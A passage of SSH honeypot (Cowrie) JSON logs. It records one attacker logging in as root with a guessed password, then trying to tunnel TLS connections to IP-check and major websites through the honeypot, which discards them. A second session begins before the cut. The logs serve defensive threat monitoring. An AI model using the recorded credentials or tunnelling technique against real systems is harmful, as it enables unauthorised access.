-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:18.155573Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:18.675524Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.48.247.5","dst_port":443,"src_ip":"77.90.185.17","src_port":58276,"message":"direct-tcp connection request to 52.48.247.5:443 from 127.0.0.1:58276","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:20.753218Z","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.48.247.5","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.48.247.5:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:20.919596Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.48.247.5","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xee\\x9e\\xbb\\x02yg\\x19\\xed1\\xd7\\x9a\\xd2\\x02wb\\x82\\r\\xa1\\x19\\xed\\x88\\x12H\\x17\\x82\\x93\\xdfDtyM \\x80\\x16\\x86t\\x14T\\x1e\\x9e\\xbe\\xeb;\\x11\\x0b(\\x1e\\x95,=}\\xb5\\x0e\\x1c\\xa4J\\xbd]tU\\xaf\\x99j\\xb9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 p\\xf1+\\xa0\\x91\\r\\xf6\\x06\\x97\\xac\\xd2\\xac\\xf8\\xc7\\x8a\\x10\\x1ao\\x8d\\xca\\x7fl\\xa0\\xc0B\\x90\\xf2YFN\\xa9\\x15\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.48.247.5:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xee\\x9e\\xbb\\x02yg\\x19\\xed1\\xd7\\x9a\\xd2\\x02wb\\x82\\r\\xa1\\x19\\xed\\x88\\x12H\\x17\\x82\\x93\\xdfDtyM \\x80\\x16\\x86t\\x14T\\x1e\\x9e\\xbe\\xeb;\\x11\\x0b(\\x1e\\x95,=}\\xb5\\x0e\\x1c\\xa4J\\xbd]tU\\xaf\\x99j\\xb9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 p\\xf1+\\xa0\\x91\\r\\xf6\\x06\\x97\\xac\\xd2\\xac\\xf8\\xc7\\x8a\\x10\\x1ao\\x8d\\xca\\x7fl\\xa0\\xc0B\\x90\\xf2YFN\\xa9\\x15\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:20.922892Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":58994,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:58994","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:21.221035Z","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:22.648831Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87\\xe5]\\xa2kM\\xc0\\xbb\\x8b{\\xec\\x0b\\x17\\xbf\\xdb;\\x15\\xb0T4\\xe8\\xe6$\\xda\\x85\\x9d\\xc6\\xe3+\\xbc\\x15\\x0e \\x1f1\\x03\\xbd\\xf5\\xe2\\xe5\\xc4\\xc5[R\\xd4\\xd0\\x8a\\xd9\\xa7J\\xb5H\\x8dB\\x838\\x91\\x10\\xb0\\x1dy\\xb4q<\\x99\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 a\\x8dK\\xa2m\\x84\\x10L\\xc1\\xa6e\\xf6\\xa5@\\xe9\\xaeo\\xbaBA\\xeb0^\\x0c\\xe5\\xc3\\xce\\t\\xf62b0\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87\\xe5]\\xa2kM\\xc0\\xbb\\x8b{\\xec\\x0b\\x17\\xbf\\xdb;\\x15\\xb0T4\\xe8\\xe6$\\xda\\x85\\x9d\\xc6\\xe3+\\xbc\\x15\\x0e \\x1f1\\x03\\xbd\\xf5\\xe2\\xe5\\xc4\\xc5[R\\xd4\\xd0\\x8a\\xd9\\xa7J\\xb5H\\x8dB\\x838\\x91\\x10\\xb0\\x1dy\\xb4q<\\x99\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 a\\x8dK\\xa2m\\x84\\x10L\\xc1\\xa6e\\xf6\\xa5@\\xe9\\xaeo\\xbaBA\\xeb0^\\x0c\\xe5\\xc3\\xce\\t\\xf62b0\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:22.651312Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.154.119","dst_port":443,"src_ip":"77.90.185.17","src_port":60578,"message":"direct-tcp connection request to 142.251.154.119:443 from 127.0.0.1:60578","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:23.032648Z","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.154.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.154.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:23.396868Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.154.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7\\xe3\\xc3V\\xb8f\\x9f-\\xcc{\\x87\"A<Hz\\xb93I\\x82t\\xcc\\x17\\x18/\\xe1\\x81\\x8b\\xb9\\x16\\xca6 |K\\x8f\\xc7<\\x009\\xcc\\xc9\\x82\\x8e\\xe3:\\xc1\\xa2\\xc1\\xcd\\xec+-t\\x9f\\xf2\\r\\xbf\\xd3\\xc5\\xdbq\\x8bb\\'\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x9b\\xda\\x98H\\xc0B\\xd9\\xcf\\x00\\x0f\\xa8\\xcab\\xb8?\\xe1\\x907d\\xde\\xe9\\x0c_{\\xc3J\\x93\\r%g\\x8eJ\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.154.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7\\xe3\\xc3V\\xb8f\\x9f-\\xcc{\\x87\"A<Hz\\xb93I\\x82t\\xcc\\x17\\x18/\\xe1\\x81\\x8b\\xb9\\x16\\xca6 |K\\x8f\\xc7<\\x009\\xcc\\xc9\\x82\\x8e\\xe3:\\xc1\\xa2\\xc1\\xcd\\xec+-t\\x9f\\xf2\\r\\xbf\\xd3\\xc5\\xdbq\\x8bb\\'\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x9b\\xda\\x98H\\xc0B\\xd9\\xcf\\x00\\x0f\\xa8\\xcab\\xb8?\\xe1\\x907d\\xde\\xe9\\x0c_{\\xc3J\\x93\\r%g\\x8eJ\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:23.399905Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:24.119290Z","src_ip":"77.90.185.17","session":"21269a219bec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":55136,"dst_ip":"159.203.135.109","dst_port":22,"session":"e85ed9cfaefe","protocol":"ssh","message":"New connection: 92.118.39.95:55136 (159.203.135.109:22) [session: e85ed9cfaefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:39.270844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:40:39.276380Z","src_ip":"92.118.39.95","session":"e85ed9cfaefe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.